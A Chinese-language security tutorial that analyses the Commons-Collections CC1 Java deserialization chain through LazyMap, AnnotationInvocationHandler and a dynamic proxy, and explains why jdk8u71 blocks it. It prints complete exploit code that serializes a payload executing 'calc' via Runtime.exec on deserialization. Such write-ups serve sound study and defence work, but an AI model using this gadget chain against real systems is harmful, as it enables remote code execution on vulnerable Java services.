CC1链补充
Java 反序列化 Commons-Collections 篇 02-CC1 链补充 0x01 前言
书说上回,我们分析了一下 CC1 链当中的 TransformMap 的反序列化攻击,今天来补充一下正版 CC1 链的攻击分析。
0x02 正版 CC1 链分析 1. 寻找链尾的 exec 方法
漏洞点还是 InvokeTransformer
,一些测试用的 exp 就先不写啦
在 InvokeTransformer
下的 transform
方法,进行 find usages 操作。
之前我们所讲的是 TransformedMap
的链子,今天我们去追正版 CC1 链里面 LazyMap
的链子。
我们看到这里,是 LazyMap
这个类的 get
方法中出现了 .transform
方法。get
方法的作用域为 public。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
2. 寻找链子
在找 factory
的时候偶然发现了 decorate
方法,这个 decorate
方式与我们之前讲的 TransformMap
中的 decorate
方法是一样的作用。
这里的链子,我非常非常非常 建议大家动手去写一写,能让你更好的拥有编写 EXP 的能力。
先看这个类的构造函数,作用域为 private
,因为无法直接获取,而 decorate
方法里面能够 new 一个 LazyMap
对象,于是我们构造如下的 EXP,来证明这条链子暂时是可行的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package ysoChainsEXP; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class LazyDecorateCalc { public static void main (String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get" , Object.class); lazyGetMethod.setAccessible(true ); lazyGetMethod.invoke(decorateMap, runtime); } }
目前证明这条链是可行的,我们继续往上走,最终目标是找到入口类的 readObject
方法。
往上走,我们去找一找谁调用了 LazyMap.get()
最终在 AnnotationInvocationHandler.invoke()
方法中找到了有一个地方调用了 get()
方法。
同时这个类也非常好,它里面有 readObject()
方法,可以作为我们的入口类。
现在的关键点在于我们要触发 AnnotationInvocationHandler.invoke()
0x03 编写 EXP 需要触发 invoke
方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke()
方法。我们去找一找能利用的地方
在这里调用了 entrySet()
方法,也就是说,如果我们将 memberValues
的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke()
方法,最终完成整条链子的调用。
直接上我们的 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package ysoChainsEXP; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
我们被代理的实例是这一个
1 2 3 4 Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor aDeclaredConstructor = a.getDeclaredConstructor(Class.class, Map.class);aDeclaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) aDeclaredConstructor.newInstance(Override.class, decorateLazyMap);
生成代理类,并使用反序列化调用计算器
1 2 3 4 5 Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin" );
0x04 修复手段 官方这里的推荐修复方法是将 jdk 版本提升至 jdk8u71,我们来看一下为什么官方会推荐这种方法。
对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObject 中 setValue()
方法的地方。
2. 对于正版 CC1 链子 因为在8u71之后的版本反序列化不再通过defaultReadObject
方式,而是通过readFields
来获取几个特定的属性,defaultReadObject
可以恢复对象本身的类属性,比如this.memberValues
就能恢复成我们原本设置的恶意类,但通过readFields
方式,this.memberValues
就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因
0x05 小结
小结部分主要来整理一下链子和我们的攻击思路。
1 2 3 4 5 6 7 8 9 10 11 调用链 InvokeTransformer#transform LazyMap#get AnnotationInvocationHandler#readObject 辅助链 ChainedTransformer ConstantTransformer HashMap Map (Proxy) #entrySet